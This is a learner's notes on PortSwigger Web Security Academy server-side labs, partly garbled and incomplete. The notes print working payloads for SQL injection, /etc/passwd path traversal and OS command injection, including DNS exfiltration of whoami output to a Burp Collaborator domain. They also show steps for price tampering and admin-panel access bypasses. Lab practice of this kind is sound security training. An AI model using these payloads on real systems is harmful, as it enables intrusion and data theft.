Server Side Topic
Server Side Topic
For complete beginners, we recommend starting with our server-side topics. These vulnerabilities are typically easier to learn because you
only need to understand what's happening on the server. Our materials and labs will help you develop some of the core knowledge and
skills that you will rely on time after time.
1 - sql injection
2 - Authentation
3 - Directory-Traversal
4 - Command injection
5 - Business logic vulnerability
6 - Information Disclosure
7 - Access Control
8 - File upload vulnerability
9 - Server-side request forgery (ssrf)
10 - XXE injection
1 sql injection
all types of sql injection vulnerability solve :)
lab1
portswigger lab 1 sql injection vulnerability Where clause allowing retrieval of hidden data
theory ======================================================
https://insecure-website.com/products?category=Gifts
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
https://insecure-website.com/products?category=Gifts'--
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
https://insecure-website.com/products?category=Gifts'+OR+1=1--
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
solve lab 1 sql injection vulnerability WHERE clause allowing retrieval of hidden data
payload - '+OR+1=1--
result - https://0a5f001c043b5bcdc0fe58c100ea009f.web-security-academy.net/filter?category=%27+OR+1=1--
lab2
1/164
lab2 sql injection vulnerability allowing login bypass
lab3
lab3 sql injection UNION attacks
theory --------
The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:
SQL injection UNION attack, determining the number of columns returned by the query (web-security-academy.net)
Vulnerable parameater -
SQL injection UNION attack, determining the number of columns returned by the query (web-security-academy.net)
/filter?category=Gifts
steps : -
1- 'ORDER+BY+1--
2- '+UNION+SELECT+NULL,NULL--
lab4
2/164
Finding columns with a useful data type in an SQL injection UNION attack
The reason for performing an SQL injection UNION attack is to be able to retrieve the results from an injected query.
Generally, the interesting data that you want to retrieve will be in string form, so you need to find one or more
columns in the original query results whose data type is, or is compatible with, string data.
Having already determined the number of required columns, you can probe each column to test whether it can hold
string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn. For
example, if the query returns four columns, you would submit:
' UNION SELECT 'a',NULL,NULL,NULL--' UNION SELECT NULL,'a',NULL,NULL--' UNION SELECT NULL,NULL,'a',NULL--'
UNION SELECT NULL,NULL,NULL,'a'--If the data type of a column is not compatible with string data, the injected query
will cause a database error, such as:
Conversion failed when converting the varchar value 'a' to data type int.If an error does not occur, and the
application's response contains some additional content including the injected string value, then the relevant column
is suitable for retrieving string data.
vulnearble parameater -
https://0a95002404efb683c0beb620005e0079.web-security-academy.net/filter?category=Clothing%2c+shoes+and+accessories
click on website click browser catagories now click on posters tab now you can see the site is vulnearble on sql injection
/listproducts.php?cat=1
theroy:-
3/164
3. find out vulnerable coloumns:-
Union query:------------------------------------------------------------------------------------------
2 table_name
ager muje vhi table dekhni hai fir :-
6.finiely find out username and password and other informaton about vulnerable website:-
acuart
information_schema
4/164
8 tables show
artists
carts
categ
featured
guestbook
pictures
products
users
result :-
database - acuart
table - users
uname - test
pass - test
result:-
acuart@localhost
thanks :)
2 Authentication
Authentication vulnerabilities
Conceptually at least, authentication vulnerabilities are some of the simplest issues to understand. However, they can
be among the most critical due to the obvious relationship between authentication and security. As well as potentially
allowing attackers direct access to sensitive data and functionality, they also expose additional attack surface for
5/164
further exploits. For this reason, learning how to identify and exploit authentication vulnerabilities, including how to
bypass common protection measures, is a fundamental skill.
In this section, we'll look at some of the most common authentication mechanisms used by websites and discuss
potential vulnerabilities in them. We'll highlight both inherent vulnerabilities in different authentication mechanisms, as
well as some typical vulnerabilities that are introduced by their improper implementation. Finally, we'll provide some
basic guidance on how you can ensure that your own authentication mechanisms are as robust as possible.
What is authentication?
Authentication is the process of verifying the identity of a given user or client. In other words, it involves making sure
that they really are who they claim to be. At least in part, websites are exposed to anyone who is connected to the
internet by design. Therefore, robust authentication mechanisms are an integral aspect of effective web security.
There are three authentication factors into which different types of authentication can be categorized:
• Something you know, such as a password or the answer to a security question. These are sometimes referred to as "knowledge
factors".
• Something you have, that is, a physical object like a mobile phone or security token. These are sometimes referred to as "possession
factors".
• Something you are or do, for example, your biometrics or patterns of behavior. These are sometimes referred to as "inherence factors".
Authentication mechanisms rely on a range of technologies to verify one or more of these factors.
In many areas of web development, logic flaws will simply cause the website to behave unexpectedly, which may or
may not be a security issue. However, as authentication is so critical to security, the likelihood that flawed
authentication logic exposes the website to security issues is clearly elevated.
Note that several of the labs require you to enumerate usernames and brute-force passwords. To help you with this
process, we've provided a shortlist of candidate usernames and passwords that you should use to solve the labs.
Read more
OAuth authentication
Read more
How to secure your authentication mechanisms
lab1
7/164
steps : -
open link : -
click an my account
0a880028035194efc06909ed00ab0070.web-security-academy.net/login
now : -
open burpsuite
caputre the request
username - albuquerque
password - thomas
3 Directory Traversal
In this section you will learn all 6 labs in portswigger in depth
theory :-
Directory traversal
In this section, we'll explain what directory traversal is, describe how to carry out path traversal attacks and
circumvent common obstacles, and spell out how to prevent path traversal vulnerabilities.
8/164
Labs
If you're already familiar with the basic concepts behind directory traversal and just want to practice exploiting them on some realistic,
deliberately vulnerable targets, you can access all of the labs in this topic from the link below.
View all directory traversal labs
9/164
1 File path-Traversal simple case
file path traversel simple case
vulnerable link -
open link in browser
capture request in burpsuite
now
filename= is a vulnearble parameater
now add the payload
../../../etc/passwd
10/164
open link
capture the request in burpsuite
now you will see the vulnearble parameater filename=
11/164
4 Traversel sequences stripped with superfluous URL-DECODE
In some contexts, such as in a URL path or the filename parameter of a multipart/form-data request, web
servers may strip any directory traversal sequences before passing your input to the application. You can sometimes
bypass this kind of sanitization by URL encoding, or even double URL encoding, the ../ characters, resulting in
%2e%2e%2f or %252e%252e%252f respectively. Various non-standard encodings, such as ..%c0%af or ..%ef%bc%8f,
may also do the trick.
For Burp Suite Professional users, Burp Intruder provides a predefined payload list (Fuzzing - path traversal),
which contains a variety of encoded path traversal sequences that you can try.
12/164
5 Validation of start of path
If an application requires that the user-supplied filename must start with the expected base folder, such as /var/
www/images, then it might be possible to include the required base folder followed by suitable traversal sequences.
For example:
filename=/var/www/images/../../../etc/passwd
13/164
6 Validation of file extension will null byte bypass
If an application requires that the user-supplied filename must end with an expected file extension, such as .png,
then it might be possible to use a null byte to effectively terminate the file path before the required extension. For
example:
filename=../../../etc/passwd%00.png
14/164
how to prevent a directory traversal attack
Below is an example of some simple Java code to validate the canonical path of a file based on user input:
File file = new File(BASE_DIRECTORY, userInput);if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) { //
process file}
Read more
Find directory traversal vulnerabilities using Burp Suite's web vulnerability scanner
4 os command injection
OS command injection
In this section, we'll explain what OS command injection is, describe how vulnerabilities can be detected and
exploited, spell out some useful commands and techniques for different operating systems, and summarize how to
prevent OS command injection.
15/164
Labs
If you're already familiar with the basic concepts behind OS command injection vulnerabilities and just want to practice exploiting them on
some realistic, deliberately vulnerable targets, you can access all of the labs in this topic from the link below.
View all OS command injection labs
16/164
Error - productID was not providedaiwefwlguh29: command not foundThe three lines of output demonstrate that:
• The original stockreport.pl command was executed without its expected arguments, and so returned an error message.
• The injected echo command was executed, and the supplied string was echoed in the output.
• The original argument 29 was executed as a command, which caused an error.
Placing the additional command separator after the injected command is generally useful because it separates the
injected command from whatever follows the injection point. This reduces the likelihood that what follows will prevent
the injected command from executing.
This lab contains an OS command injection vulnerability in the product stock checker.
The application executes a shell command containing user-supplied product and store IDs, and returns the raw
output from the command in its response.
To solve the lab, execute the command to determine the name of the current user
open website caputure the request now you will see the parameater :- productid=1&storeid=1
result :-
peter-it04Xe
:)
Useful commands
When you have identified an OS command injection vulnerability, it is generally useful to execute some initial
commands to obtain information about the system that you have compromised. Below is a summary of some
commands that are useful on Linux and Windows platforms:
17/164
Purpose of Linux Windows
command
Name of whoami whoami
current user
Operating uname -a ver
system
Network ifconfig ipconfig /all
configuration
Network netstat -an netstat -an
connections
Running ps -ef tasklist
processes
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The output from the command is not
returned in the response.
To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.
solution :-
1. Use Burp Suite to intercept and modify the request that submits feedback.
2. Modify the email parameter, changing it to:
email=x||ping+-c+10+127.0.0.1||
3. Observe that the response takes 10 seconds to return.
18/164
finely add the paylaod:- email=x||ping+-c+10+127.0.0.1||
lab2 solved :)
19/164
specified file. You can then use the browser to fetch https://vulnerable-website.com/whoami.txt to retrieve
the file, and view the output from the injected command.
lab3 solve:-
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The output from the command is not
returned in the response. However, you can use output redirection to capture the output from the command. There
is a writable folder at:
/var/www/images/The application serves the images for the product catalog from this location. You can redirect the
output from the injected command to a file in this folder, and then use the image loading URL to retrieve the
contents of the file.
To solve the lab, execute the whoami command and retrieve the output.
solution :-
1. Use Burp Suite to intercept and modify the request that submits feedback.
2. Modify the email parameter, changing it to:
email=||whoami>/var/www/images/output.txt||
3. Now use Burp Suite to intercept and modify the request that loads an image of a product.
4. Modify the filename parameter, changing the value to the name of the file you specified for the output of the injected command:
filename=output.txt
5. Observe that the response contains the output from the injected command.
20/164
lab3 solved :)
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The command is executed
asynchronously and has no effect on the application's response. It is not possible to redirect output into a location
that you can access. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, exploit the blind OS command injection vulnerability to issue a DNS lookup to Burp Collaborator.
Note
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external
21/164
systems. To solve the lab, you must use Burp Collaborator's default public server.
solution:-
1. Use Burp Suite to intercept and modify the request that submits feedback.
2. Modify the email parameter, changing it to:
email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
Note
The solution described here is sufficient simply to trigger a DNS lookup and so solve the lab. In a real-world situation, you would use Burp
Collaborator client to verify that your payload had indeed triggered a DNS lookup. See the lab on blind OS command injection with out-of-
band data exfiltration for an example of this
result :-
step one : -
click submit feedback
nowfill the form now capture the request
now modify the email paramaeater
22/164
burp collabrotaro subdomain :- 648elc7fpg6pba8f5hrucyz16sci07.oastify.com
now payload is :- ||nslookup+x.648elc7fpg6pba8f5hrucyz16sci07.oastify.com||
now copy response in browser now open link in browser to show lab is solved :)
23/164
in this lab you wiil need burpsuite professional version :)
On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected
command within the original command:
◇ `injected command `
24/164
◇ $(injected command )
Note that the different shell metacharacters have subtly different behaviors that might affect whether they work in
certain situations, and whether they allow in-band retrieval of command output or are useful only for blind
exploitation.
Sometimes, the input that you control appears within quotation marks in the original command. In this situation, you
need to terminate the quoted context (using " or ') before using suitable shell metacharacters to inject a new
command.
Never attempt to sanitize input by escaping shell metacharacters. In practice, this is just too error-prone and
vulnerable to being bypassed by a skilled attacker.
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The command is executed
asynchronously and has no effect on the application's response. It is not possible to redirect output into a location
that you can access. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, execute the whoami command and exfiltrate the output via a DNS query to Burp Collaborator. You
will need to enter the name of the current user to complete the lab.
Note
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external
systems. To solve the lab, you must use Burp Collaborator's default public server.
solution:-
1. Use Burp Suite Professional to intercept and modify the request that submits feedback.
2. Go to the Burp menu, and launch the Burp Collaborator client.
3. Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window open.
4. Modify the email parameter, changing it to something like the following, but insert your Burp Collaborator subdomain where indicated:
email=||nslookup+`whoami`.BURP-COLLABORATOR-SUBDOMAIN||
5. Go back to the Burp Collaborator client window, and click "Poll now". You should see some DNS interactions that were initiated by the
application as the result of your payload. If you don't see any interactions listed, wait a few seconds and try again, since the server-side
command is executed asynchronously.
6. Observe that the output from your command appears in the subdomain of the interaction, and you can view this within the Burp
Collaborator client. The full domain name that was looked up is shown in the Description tab for the interaction.
7. To complete the lab, enter the name of the current user.
step one :-
25/164
step 2:- go to burpsuite menu and launch the Brup collaborator client
26/164
step3:- Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window
open.
payload is :- 8nwwuds87ryokn57vtc6lukrdij87x.oastify.com
step4:- Modify the email parameter, changing it to something like the following, but insert your Burp Collaborator subdomain where
indicated:
email=||nslookup+`whoami`.BURP-COLLABORATOR-SUBDOMAIN||
now forward the request and click poll now button to wait the result is show :)
27/164
5 Business ligic vulnerabilities
Labs
If you're already familiar with the basic concepts behind business logic vulnerabilities and just want to practice exploiting them on some
realistic, deliberately vulnerable targets, you can access all of the labs in this topic from the link below.
View all business logic vulnerabilities labs
Note
In this context, the term "business logic" simply refers to the set of rules that define how the application operates. As these rules aren't
always directly related to a business, the associated vulnerabilities are also known as "application logic vulnerabilities" or simply "logic
flaws".
Logic flaws are often invisible to people who aren't explicitly looking for them as they typically won't be exposed by
normal use of the application. However, an attacker may be able to exploit behavioral quirks by interacting with the
application in ways that developers never intended.
One of the main purposes of business logic is to enforce the rules and constraints that were defined when designing
28/164
the application or functionality. Broadly speaking, the business rules dictate how the application should react when a
given scenario occurs. This includes preventing users from doing things that will have a negative impact on the
business or that simply don't make sense.
Flaws in the logic can allow attackers to circumvent these rules. For example, they might be able to complete a
transaction without going through the intended purchase workflow. In other cases, broken or non-existent validation
of user-supplied data might allow users to make arbitrary changes to transaction-critical values or submit nonsensical
input. By passing unexpected values into server-side logic, an attacker can potentially induce the application to do
something that it isn't supposed to.
Logic-based vulnerabilities can be extremely diverse and are often unique to the application and its specific
functionality. Identifying them often requires a certain amount of human knowledge, such as an understanding of the
business domain or what goals an attacker might have in a given context. This makes them difficult to detect using
automated vulnerability scanners. As a result, logic flaws are a great target for bug bounty hunters and manual
testers in general.
Read more
Examples of business logic vulnerabilities
29/164
In short, the keys to preventing business logic vulnerabilities are to:
• Make sure developers and testers understand the domain that the application serves
• Avoid making implicit assumptions about user behavior or the behavior of other parts of the application
You should identify what assumptions you have made about the server-side state and implement the necessary logic
to verify that these assumptions are met. This includes making sure that the value of any input is sensible before
proceeding.
It is also important to make sure that both developers and testers are able to fully understand these assumptions
and how the application is supposed to react in different scenarios. This can help the team to spot logic flaws as early
as possible. To facilitate this, the development team should adhere to the following best practices wherever possible:
◇ Maintain clear design documents and data flows for all transactions and workflows, noting any assumptions that are made at each
stage.
◇ Write code as clearly as possible. If it's difficult to understand what is supposed to happen, it will be difficult to spot any logic flaws.
Ideally, well-written code shouldn't need documentation to understand it. In unavoidably complex cases, producing clear documentation is
crucial to ensure that other developers and testers know what assumptions are being made and exactly what the expected behavior is.
◇ Note any references to other code that uses each component. Think about any side-effects of these dependencies if a malicious party
were to manipulate them in an unusual way.
Due to the relatively unique nature of many logic flaws, it is easy to brush them off as a one-time mistake due to
human error and move on. However, as we've demonstrated, these flaws are often the result of bad practices in the
initial phases of building the application. Analyzing why a logic flaw existed in the first place, and how it was missed by
the team, can help you to spot weaknesses in your processes. By making minor adjustments, you can increase the
likelihood that similar flaws will be cut off at the source or caught earlier in the development process.
solution:-
1. With Burp running, log in and attempt to buy the leather jacket. The order is rejected because you don't have enough store credit.
2. In Burp, go to "Proxy" > "HTTP history" and study the order process. Notice that when you add an item to your cart, the corresponding
request contains a price parameter. Send the POST /cart request to Burp Repeater.
3. In Burp Repeater, change the price to an arbitrary integer and send the request. Refresh the cart and confirm that the price has
changed based on your input.
4. Repeat this process to set the price to any amount less than your available store credit.
5. Complete the order to solve the lab.
lab solve :-
30/164
now click on home
now click on LightWeight :133t" leather jacket
31/164
now click on add to cart option capture the request in bursuite
32/164
now go to reaper option change the price value in my case im change value is 13.00
now send request wait for response
now again click on browser refresh to show your result lab is solved :)
lab is solved :)
33/164
This lab doesn't adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for
an unintended price. To solve the lab, buy a "Lightweight l33t leather jacket".
You can log in to your own account using the following credentials: wiener:peter
solution:-
1. With Burp running, log in and add a cheap item to your cart.
2. In Burp, go to "Proxy" > "HTTP history" and study the corresponding HTTP messages. Notice that the quantity is determined by a
parameter in the POST /cart request.
3. Go to the "Intercept" tab and turn on interception. Add another item to your cart and go to the intercepted POST /cart request in
Burp.
4. Change the quantity parameter to an arbitrary integer, then forward any remaining requests. Observe that the quantity in the cart
was successfully updated based on your input.
5. Repeat this process, but request a negative quantity this time. Check that this is successfully deducted from the cart quantity.
6. Request a suitable negative quantity to remove more units from the cart than it currently contains. Confirm that you have successfully
forced the cart to contain a negative quantity of the product. Go to your cart and notice that the total price is now also a negative
amount.
7. Add the leather jacket to your cart as normal. Add a suitable negative quantity of the another item to reduce the total price to less than
your remaining store credit.
8. Place the order to solve the lab.
lab solve:-
productId=2&redir=PRODUCT&quantity=1
productId=2&redir=PRODUCT&quantity=-10
34/164
now send the request now check the procut is -10 value or price bhi km hoge now click on home button add one more hight value product
now send agein request -10 value
now you will see the price value is low 100$ se km value krni hai request krke now click on place order to lab is solved :)
solution:-
1. Open the lab then go to the "Target" > "Site map" tab in Burp. Right-click on the lab domain and select "Engagement tools" >
"Discover content" to open the content discovery tool.
2. Click "Session is not running" to start the content discovery. After a short while, look at the "Site map" tab in the dialog. Notice that it
discovered the path .
3. Try and browse to . Although you don't have access, the error message indicates that users do.
4. Go to the account registration page. Notice the message telling employees to use their company email address. Register with an
arbitrary email address in the format:
You can find your email domain name by clicking the "Email client" button.
5. Go to the email client and click the link in the confirmation email to complete the registration.
6. Log in using your new account and go to the "My account" page. Notice that you have the option to change your email address.
Change your email address to an arbitrary address.
7. Notice that you now have access to the admin panel, where you can delete Carlos to solve the lab.
my way solution :-
first go to the website
now intercept is off now go to the target now right click on website click on Engagement tool now click on Discover content now open a
Discovery content tool window
click on Session is not running wait for 1 - 2 minutes now click on sitemap you will see the /admin hidden directory
now see the hidden directory /admin to you wiill see the secret messae : - access any uset Dontwannacry
now clik on register register any username and and type email first now clik on email to copy email now
click on email to verify the account is opend
now login account
after login your account you will see the message :- If you work for DontWannaCry, please use your @dontwannacry.com
email address
35/164
Inconsistent security controls (Video solution, Audio).mp4
solution:-
solve lab:-
36/164
comunity solution video : -
This lab doesn't adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for
an unintended price. To solve the lab, buy a "Lightweight l33t leather jacket".
You can log in to your own account using the following credentials: wiener:peter
hint:-
You will need to use Burp Intruder (or Turbo Intruder) to solve this lab.
To make sure the price increases in predictable increments, we recommend configuring your attack to only send one
request at a time. In Burp Intruder, you can do this from the resource pool settings using the Maximum
concurrent requests option.
solution : -
1. With Burp running, log in and attempt to buy the leather jacket. The order is rejected because you don't have enough store credit. In
the proxy history, study the order process. Send the request to Burp Repeater.
2. In Burp Repeater, notice that you can only add a 2-digit quantity with each request. Send the request to Burp Intruder.
3. Go to Burp Intruder. On the "Positions" tab, clear all the default payload positions and set the parameter to .
4. On the "Payloads" tab, select the payload type "Null payloads". Under "Payload options", select "Continue indefinitely". Start the attack.
5. While the attack is running, go to your cart. Keep refreshing the page every so often and monitor the total price. Eventually, notice that
the price suddenly switches to a large negative integer and starts counting up towards 0. The price has exceeded the maximum value
permitted for an integer in the back-end programming language (2,147,483,647). As a result, the value has looped back around to the
37/164
minimum possible value (-2,147,483,648).
6. Clear your cart. In the next few steps, we'll try to add enough units so that the price loops back around and settles between $0 and the
$100 of your remaining store credit. This is not mathematically possible using only the leather jacket.
7. Create the same Intruder attack again, but this time, under "Payloads" > "Payload Options", choose to generate exactly payloads.
8. Go to the "Resource pool" tab and add the attack to a resource pool with the "Maximum concurrent requests" set to . Start the attack.
9. When the Intruder attack finishes, go to the request in Burp Repeater and send a single request for jackets. The total price of the
order should now be .
10. Use Burp Repeater to add a suitable quantity of another item to your cart so that the total falls between $0 and $100.
11. Place the order to solve the lab.
very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-
string-very-long-string-very-long-string-very-
long-string
now click on email client copy the email address now currently type email is
email :- very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-
very-long-string-very-long-string-very-long-string-very-long-string@exploit-0ad500ee03bd2bebc04d0e3801410090.web-security-academy.net
password :- 123456
username :- hacker1
password :- 123456
38/164
My Account
Your username is: hacker1
Your email is: very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-
string-very-long-string-very-long-string-very-long-string-very-long-string@exploit-0ad500ee03bd2bebc04d0e3801410090.web-securi
very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-
string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string@dontwannacry.com.
0ad500ee03bd2bebc04d0e3801410090.web-security-academy.net
username :- verma2
email :- 1very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-
very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string@dontwannacry.com
.exploit-0ad500ee03bd2bebc04d0e3801410090.web-security-academy.net
password :- 123456
now click on email client now click on lick now click on my account now login your account to see the result :-
My Account
Your username is: verma2
Your email is: 1very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-
string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string-very-long-string@dontwannacry.com
now click on admin panel now delete carlos user to solve the lab :)
This lab makes a flawed assumption about the user's privilege level based on their input. As a result, you can exploit
the logic of its account management features to gain access to arbitrary users' accounts. To solve the lab, access the
administrator account and delete Carlos.
You can log in to your own account using the following credentials: wiener:peter
solution :-
39/164
solve the lab :-
csrf=ksdfkjsdkfkdsfjdskfjksjfkajklfjlksd&username-wiener¤t-password=penter&new-password-1=123456&new-password-2=123456
username:- wiener
current password :- 123456
new password :- peter
conform password :- peter
now capture the request go to the intercept page now you will see the parameter :-
csrf=ksdfkjsdkfkdsfjdskfjksjfkajklfjlksd&username-wiener¤t-password=123456&new-password-1=peter&new-password-2=peter
now modify the all parameter value remove the current-password and chage the username :-
csrf=ksdfkjsdkfkdsfjdskfjksjfkajklfjlksd&username-administrator&new-password-1=peter&new-password-2=peter
now forward the request to you will see the successfully chage the administrator password :)
username :- administrator
password :- peter
now go to the admin panel delete the carlos user to sove the lab :)
This lab makes flawed assumptions about the sequence of events in the purchasing workflow. To solve the lab,
exploit this flaw to buy a "Lightweight l33t leather jacket".
You can log in to your own account using the following credentials: wiener:peter
solution :-
1. With Burp running, log in and buy any item that you can afford with your store credit.
2. Study the proxy history. Observe that when you place an order, the POST /cart/checkout request redirects you to an order
confirmation page. Send GET /cart/order-confirmation?order-confirmation=true to Burp Repeater.
40/164
3. Add the leather jacket to your basket.
4. In Burp Repeater, resend the order confirmation request. Observe that the order is completed without the cost being deducted from
your store credit and the lab is solved.
This lab makes flawed assumptions about the sequence of events in the login process. To solve the lab, exploit this
flaw to bypass the lab's authentication, access the admin interface, and delete Carlos.
41/164
You can log in to your own account using the following credentials: wiener:peter
solution :-
1. With Burp running, complete the login process and notice that you need to select your role before you are taken to the home page.
2. Use the content discovery tool to identify the /admin path.
3. Try browsing to /admin directly from the role selection page and observe that this doesn't work.
4. Log out and then go back to the login page. In Burp, turn on proxy intercept then log in.
5. Forward the POST /login request. The next request is GET /role-selector. Drop this request and then browse to the lab's home
page. Observe that your role has defaulted to the administrator role and you have access to the admin panel.
6. Delete Carlos to solve the lab.
now you will see the please select the role in two opion show user and conent author iam choose user now click on select
go the burpsuite target now right click now select the engagement tools now click on Discover content now click on session is not running
now wait now you will see the /admin hidden directory
open /admin to show the browser message:- Admin interface only available if logged in as an administrator
42/164
you will see the request is :-
This lab has a logic flaw in its purchasing workflow. To solve the lab, exploit this flaw to buy a "Lightweight l33t leather
jacket".
You can log in to your own account using the following credentials: wiener:peter
solution:-
This solution uses Burp Intruder to automate the process of buying and redeeming gift cards. Users proficient in
Python might prefer to use the Turbo Intruder extension instead.
1. With Burp running, log in and sign up for the newsletter to obtain a coupon code, SIGNUP30. Notice that you can buy $10 gift cards
and redeem them from the "My account" page.
2. Add a gift card to your basket and proceed to the checkout. Apply the coupon code to get a 30% discount. Complete the order and
copy the gift card code to your clipboard.
3. Go to your account page and redeem the gift card. Observe that this entire process has added $3 to your store credit. Now you need to
try and automate this process.
4. Study the proxy history and notice that you redeem your gift card by supplying the code in the gift-card parameter of the POST /
gift-card request.
5. Go to "Project options" > "Sessions". In the "Session handling rules" panel, click "Add". The "Session handling rule editor" dialog
opens.
43/164
6. In the dialog, go to the "Scope" tab. Under "URL Scope", select "Include all URLs".
7. Go back to the "Details" tab. Under "Rule actions", click "Add" > "Run a macro". Under "Select macro", click "Add" again to open the
Macro Recorder.
8. Select the following sequence of requests:
POST /cartPOST /cart/couponPOST /cart/checkoutGET /cart/order-confirmation?order-confirmed=truePOST /gift-card
Then, click "OK". The Macro Editor opens.
9. In the list of requests, select GET /cart/order-confirmation?order-confirmed=true. Click "Configure item". In the dialog that
opens, click "Add" to create a custom parameter. Name the parameter gift-card and highlight the gift card code at the bottom of the
response. Click "OK" twice to go back to the Macro Editor.
10. Select the POST /gift-card request and click "Configure item" again. In the "Parameter handling" section, use the drop-down
menus to specify that the gift-card parameter should be derived from the prior response (response 4). Click "OK".
11. In the Macro Editor, click "Test macro". Look at the response to GET /cart/order-confirmation?order-confirmation=true and
note the gift card code that was generated. Look at the POST /gift-card request. Make sure that the gift-card parameter matches
and confirm that it received a 302 response. Keep clicking "OK" until you get back to the main Burp window.
12. Send the GET /my-account request to Burp Intruder. Use the "Sniper" attack type and clear the default payload positions.
13. On the "Payloads" tab, select the payload type "Null payloads". Under "Payload options", choose to generate 412 payloads.
14. Go to the "Resource pool" tab and add the attack to a resource pool with the "Maximum concurrent requests" set to 1. Start the
attack.
15. When the attack finishes, you will have enough store credit to buy the jacket and solve the lab.
lab solve :-
44/164
click on home button
now add the any poduct i chosse giftcard
now click on add to place
now click on checkout option
now you will see the discount coupon code apply option
now go to the home page scrool down to show the newsletter option type any gmail to show the coupon code
copy code and paste the discount option in checkout
now click on place order
now copy the code and reedeem the code
after redeem the code go to the burpsuite http histroy
click on post request /gift-card
45/164
now click on ok button
6 Information Disclosure
Learning to find and exploit information disclosure is a vital skill for any tester. You are likely to encounter it on a
regular basis and, once you know how to exploit it effectively, it can help you to improve your testing efficiency and
enable you to find additional, high-severity bugs.
Labs
If you're already familiar with the basic concepts behind information disclosure vulnerabilities and just want to practice exploiting them on
some realistic, deliberately vulnerable targets, you can access all of the labs in this topic from the link below.
View all information disclosure labss
The dangers of leaking sensitive user or business data are fairly obvious, but disclosing technical information can
sometimes be just as serious. Although some of this information will be of limited use, it can potentially be a starting
46/164
point for exposing an additional attack surface, which may contain other interesting vulnerabilities. The knowledge
that you are able to gather could even provide the missing piece of the puzzle when trying to construct complex,
high-severity attacks.
Occasionally, sensitive information might be carelessly leaked to users who are simply browsing the website in a
normal fashion. More commonly, however, an attacker needs to elicit the information disclosure by interacting with
the website in unexpected or malicious ways. They will then carefully study the website's responses to try and identify
interesting behavior.
In this topic, you will learn how to find and exploit some of these examples and more.
Read more
How to find and exploit information disclosure vulnerabilities
47/164
information disclosure as a standalone issue. The obvious exception to this is when the leaked information is so
sensitive that it warrants attention in its own right.
Read more
How to find and exploit information disclosure vulnerabilities
This lab's verbose error messages reveal that it is using a vulnerable version of a third-party framework. To solve the
lab, obtain and submit the version number of this framework.
Access the lab
solution:-
48/164
lab is sove :)
solution:-
solve lab :-
open lab now go to the burpsuite target option click in right click and select the engagement tool now click on find comments
49/164
now go to the burpsuite target options now manualy find the cgi-bin directory now click on cgi-bin directory now you will ssee the
phpinfo.php files now click on to see request
now sed the request in repeater
now send the request now you will see the response show the secret_key value
copy the secret key paste the browser lab is solved :)
solution :-
1. Browse to /robots.txt and notice that it reveals the existence of a /backup directory. Browse to /backup to find the file
ProductTemplate.java.bak. Alternatively, right-click on the lab in the site map and go to "Engagement tools" > "Discover content".
Then, launch a content discovery session to discover the /backup directory and its contents.
2. Browse to /backup/ProductTemplate.java.bak to access the source code.
3. In the source code, notice that the connection builder contains the hard-coded password for a Postgres database.
4. Go back to the lab, click "Submit solution", and enter the database password to solve the lab.
open lab
now go to the burp suite target options
now right click on select the engagement tools now click on discover content
now wait you will see the backup files now go to the bakcup files in browser to you will see the ProductTemplate.java.bak source code
files
now see the files in browser
find the Connection builder in sorce code to see the password copy the password
and paste the browser solve the lab :)
result :-
51/164
This lab's administration interface
has an authentication bypass vulnerability, but it is impractical to exploit without knowledge of a custom HTTP
header used by the front-end.
To solve the lab, obtain the header name then use it to bypass the lab's authentication. Access the admin interface
and delete Carlos's account.
You can log in to your own account using the following credentials: wiener:peter
solution :-
1. In Burp Repeater, browse to GET /admin. The response discloses that the admin panel is only accessible if logged in as an
administrator, or if requested from a local IP.
2. Send the request again, but this time use the TRACE method:
TRACE /admin
3. Study the response. Notice that the X-Custom-IP-Authorization header, containing your IP address, was automatically appended to
your request. This is used to determine whether or not the request came from the localhost IP address.
4. Go to "Proxy" > "Options", scroll down to the "Match and Replace" section, and click "Add". Leave the match condition blank, but in
the "Replace" field, enter:
X-Custom-IP-Authorization: 127.0.0.1Burp Proxy will now add this header to every request you send.
5. Browse to the home page. Notice that you now have access to the admin panel, where you can delete Carlos.
52/164
NOW Copy the only X-CUSTOM-AUTHORIZATION:
now go to the proxy section now click on option section now scroll down you will see the Match and replace option now click on add
button to add the payload
X-Custom-IP-Authorization: 127.0.0.1
53/164
now click on ok button
refresh the browser go to the home page to show the admin panel
54/164
now click on admin panel delete carlos user to solve the lab :)
This lab discloses sensitive information via its version control history. To solve the lab, obtain the password for the
administrator user then log in and delete Carlos's account.
solution :-
1. Open the lab and browse to /.git to reveal the lab's Git version control data.
